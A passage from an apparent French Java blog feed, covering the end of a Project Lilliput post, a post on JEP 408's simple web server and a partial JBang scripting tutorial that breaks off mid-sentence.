&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; &lt;strong&gt;Roman Kennke&lt;/strong&gt; est leader du projet (auteur du tweet en début de billet). De plus, &lt;strong&gt;Rémi Forax&lt;/strong&gt; fait parti du projet en tant que contributeur.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/rkennke/status/1380085479899607042&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Tweet de l&amp;#8217;annonce&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openjdk/jol&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dépôt du projet JOL&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://cr.openjdk.java.net/~rkennke/lilliput.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Piste pour les travaux du projet&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/discuss/2021-March/005720.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Call for Discussion: New Project: Lilliput&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP408 Un Simple Serveur Web en java</title>
      <link>https://www.lilian-benoit.fr/2021/04/JEP408-Simple-Web-Server-en-Java.html</link>
      <pubDate>dim., 4 avr. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/04/JEP408-Simple-Web-Server-en-Java.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#ligne_de_commande&quot;&gt;Ligne de commande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#implémentation&quot;&gt;Implémentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#api&quot;&gt;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; &lt;strong&gt;MAJ 2022-01&lt;/strong&gt; : La version finale de la JEP a été intégré dans le JDK 18. Des changements ont été apportées. Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2022/01/JEP-408-Simple-Web-Server-arrive-en-JDK-18.html&quot;&gt;billet consacré&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons nous projeter dans le futur en étudiant cette JEP, candidate pour le JDK 17. Le but est de mettre à disposition un petit serveur web qui renvoie simplement des pages statiques. Lors du développement web, il peut être intéressant d&amp;#8217;avoir un serveur web pour&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;renvoyer des pages statiques (comme une page html chargeant des scripts javascript)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;renvoyer des réponses JSON d&amp;#8217;exemples pour tester la communication avec une autre API&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, l&amp;#8217;idée est que le developpeur Java soit aussi pourvu que les développeurs d&amp;#8217;autres langages.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;ligne_de_commande&quot;&gt;Ligne de commande&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour démarrer le serveur, il suffit de taper la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -m jdk.httpserver&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Serving /current/directory on http://127.0.0.1:8000/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Des options seront disponibles :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(-b) pour préciser l&amp;#8217;interface réseau&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(-p) pour préciser le numéro de port&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(-h) pour afficher le message d&amp;#8217;aide&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(-o : none | default | verbose) pour afficher des informations lors de traitement des requêtes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En activant la journalisation, nous obtenons pour chaque requête le message équivalent :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;127.0.0.1 - - [10/Feb/2021:14:34:11 +0000] &quot;GET /some/subdirectory/&quot; 200&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Cela veut dire que ce n&amp;#8217;est pas une commande supplémentaire. Nous utilisons tout simplement la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;implémentation&quot;&gt;Implémentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;idée serait d&amp;#8217;utiliser le module &lt;code&gt;jdk.httpserver&lt;/code&gt; qui contient l&amp;#8217;API public &lt;code&gt;com.sun.net.httpserver&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Le serveur répondrait uniquement aux méthodes HEAD et GET (requêtes idempotentes).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;api&quot;&gt;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe serait d&amp;#8217;avoir une classe &lt;code&gt;SimpleFileServer&lt;/code&gt; ayant l&amp;#8217;interface suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.sun.net.httpserver;

public final class SimpleFileServer {
    public static HttpServer createFileServer(int port, Path root,
                                              OutputLevel outputLevel) {...}
    public static HttpHandler createFileHandler(Path root) {...}
    public static Filter createOutputFilter(OutputStream out,
                                            OutputLevel outputLevel) {...}
    ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En utilisant la commande &lt;code&gt;jshell&lt;/code&gt;, il suffirait d&amp;#8217;écrire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; var server = SimpleFileServer.createFileServer(8080,
   ...&amp;gt; Path.of(&quot;/some/path&quot;), OutputLevel.VERBOSE);
jshell&amp;gt; server.start()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Cela est simple et efficace.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour autant, il serait possible d&amp;#8217;étendre le comportement de base en créeant notre propre serveur en passant notre intance de &lt;code&gt;HttpHandler&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public static HttpServer create(InetSocketAddress addr,
                                int backlog,
                                String root,
                                HttpHandler handler,
                                Filter... filters) throws IOException {...}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette dernière pourrait être construite à partir de la classe suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.sun.net.httpserver;

public class HttpHandlers {
    public static HttpHandler handleOrElse(Predicate&amp;lt;Request&amp;gt; handlerTest,
                                           HttpHandler handler,
                                           HttpHandler fallbackHandler)
        throws IOException {...}
    public static HttpHandler adaptRequest(HttpHandler handler,
                                           UnaryOperator&amp;lt;Request&amp;gt; operator)
    {...}
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  D&amp;#8217;autres alternatives seront envisagées pendant la phase de prototypage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Dans tous les cas, j&amp;#8217;ai hâte de pouvoir jouer avec !&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/408&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 408: Simple Web Server&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JBang, Script en java</title>
      <link>https://www.lilian-benoit.fr/2021/03/JBang-Script-en-java.html</link>
      <pubDate>dim., 21 mars 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/03/JBang-Script-en-java.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#installation&quot;&gt;Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#premier_lancement&quot;&gt;Premier lancement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#patron_template&quot;&gt;Patron (&quot;template&quot;)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_en_pratique&quot;&gt;Mise en pratique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour le besoin d&amp;#8217;un projet, j&amp;#8217;avais besoin d&amp;#8217;extraire un certificat au format PEM à partir d&amp;#8217;un ensemble de clés JWKS (JSON Web Key Sets). Je savais que je pouvais le faire très facilement en Java. Cependant, créer un projet Java jetable n&amp;#8217;est pas très motivant pour simplement quelques lignes de code. D&amp;#8217;où l&amp;#8217;idée d&amp;#8217;écrire un script pour cela.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, depuis le JDK 11, il est possible de réaliser un script en Java (&lt;a href=&quot;http://openjdk.java.net/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330: Launch Single-File Source-Code Programs&lt;/a&gt;). Malheureusement, cela est limité aux classes fournies par le JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis quelques temps, j&amp;#8217;entends parler de &lt;a href=&quot;http://jbang.dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jbang&lt;/a&gt;. Il permettrait de lever cette contrainte. C&amp;#8217;est l&amp;#8217;occasion de le mettre à l&amp;#8217;épreuve.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La procédure d&amp;#8217;installation est très simple sur la page &lt;a href=&quot;https://www.jbang.dev/download&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;téléchargement&lt;/a&gt; du site du projet. La page décrit les opérations selon les différents systèmes d&amp;#8217;exploitation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour ma part, n&amp;#8217;ayant pas de package Debian, j&amp;#8217;ai choisi la solution manuelle en m&amp;#8217;assurant que le programme soit accessible via la variable $PATH.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Bien que je possède plusieurs versions de JVM, il est intéressant de savoir que l&amp;#8217;installation du JDK au préalable n&amp;#8217;est pas nécessaire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;premier_lancement&quot;&gt;Premier lancement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;outil me propose d&amp;#8217;initialiser le script comme il faut avec l&amp;#8217;option init. Laissons-nous guider pour commencer.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang init Hello.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un fichier Hello.java est généré. C&amp;#8217;est l&amp;#8217;occasion de voir son anatomie.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;///usr/bin/env jbang &quot;$0&quot; &quot;$@&quot; ; exit $?
// //DEPS &amp;lt;dependency1&amp;gt; &amp;lt;dependency2&amp;gt;

import static java.lang.System.*;

public class Hello {

    public static void main(String... args) {
        out.println(&quot;Hello World&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première ligne est le fameux shebang. C&amp;#8217;est l&amp;#8217;information qui permet de savoir quelle programme doit être exécuté.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; L&amp;#8217;usage du style // au lieu du classique #! est une astuce (bash, zsh, etc&amp;#8230;&amp;#8203;) qui permet l&amp;#8217;exécution comme un script tout en ayant un code Java valide.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sur la deuxième ligne, nous aurons l&amp;#8217;occasion de revenir dessus.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le reste, c&amp;#8217;est du code Java classique. Une classe &lt;code&gt;Hello&lt;/code&gt; ayant une méthode &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Passons à l&amp;#8217;exécution, il suffit de taper la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang  Hello.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons l&amp;#8217;affichage suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;[jbang] Building jar...
Hello World&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Grâce au Shebang, nous pouvons aussi appeler directement le script&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./Hello.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Si besoin, il faut donner les droits d&amp;#8217;exécution avec la commande suivante : &lt;code&gt;chmod u+x Hello.java&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons l&amp;#8217;affichage suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Hello World&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le script n&amp;#8217;a pas été modifié. Donc, il n&amp;#8217;a pas été nécessaire de reconstruire l&amp;#8217;archive.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;patron_template&quot;&gt;Patron (&quot;template&quot;)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est possible d&amp;#8217;utiliser des patrons. Un certain nombre existe déjà comme la possibilité d&amp;#8217;avoir ce qui faut pour écrire un outil en ligne de commande.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang init --template=cli Cli.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou en utilisant les options courtes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang init -t cli Cli.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De là, nous pouvons exécuter directement le script&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./Cli.sh
[jbang] Building jar...
Hello World!&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela n&amp;#8217;a rien d&amp;#8217;étonnant par rapport à tout à l&amp;#8217;heure. Sauf que comme tout outil en ligne de commande qui se respecte, nous avons une aide à notre disposition sans effort de notre part.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./Cli.java --help
Usage: Cli [-hV] &amp;lt;greeting&amp;gt;
Cli made with jbang
      &amp;lt;greeting&amp;gt;   The greeting to print
  -h, --help       Show this help message and exit.
  -V, --version    Print version information and exit.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vois que j&amp;#8217;ai un argument qui permet de préciser la salutation. De ce pas, j&amp;#8217;exécute la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./Cli.java Lilian
Hello Lilian&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Passons au code,&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;///usr/bin/env jbang &quot;$0&quot; &quot;$@&quot; ; exit $?
//DEPS info.picocli:picocli:4.5.0

import picocli.CommandLine;
import picocli.CommandLine.Command;
import picocli.CommandLine.Parameters;

import java.util.concurrent.Callable;

@Command(name = &quot;Cli&quot;, mixinStandardHelpOptions = true, version = &quot;Cli 0.1&quot;,
        description = &quot;Cli made with jbang&quot;)
class Cli implements Callable&amp;lt;Integer&amp;gt; {

    @Parameters(index = &quot;0&quot;, description = &quot;The greeting to print&quot;, defaultValue = &quot;World!&quot;)
    private String greeting;

    public static void main(String... args) {
        int exitCode = new CommandLine(new Cli()).execute(args);
        System.exit(exitCode);
    }

    @Override
    public Integer call() throws Exception { // your business logic goes here...
        System.out.println(&quot;Hello &quot; + greeting);
        return 0;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous voyons au niveau du code, que c&amp;#8217;est la librairie picocli qui est utilisée afin de simplifier les gestions des arguments.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Mais le plus intéressant, c&amp;#8217;est la seconde ligne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;//DEPS info.picocli:picocli:4.5.0&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par cette ligne, nous exprimons le fait que le script a besoin de la librairie picocli. Nous retrouvons le schéma classique groupId:artifactId:version.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;mise_en_pratique&quot;&gt;Mise en pratique&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;initialise mon script&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang init -t cli GetKey.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je précise la librairie que je souhaite utiliser, en l&amp;#8217;occurrence  &lt;code&gt;jose4j&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;//DEPS org.bitbucket.b_c:jose4j:0.7.6&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je suis un aficionados de vi. Mais effectivement, cela n&amp;#8217;est pas top pour le développement Java par rapport à un IDE.(Gestion des imports, autocomplétion, validation syntaxique, etc..)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, &lt;code&gt;jbang&lt;/code&gt; vient à notre rescousse en proposant un mode édition.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang edit --open=vscode GetKey.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Votre IDE s&amp;#8217;ouvre :
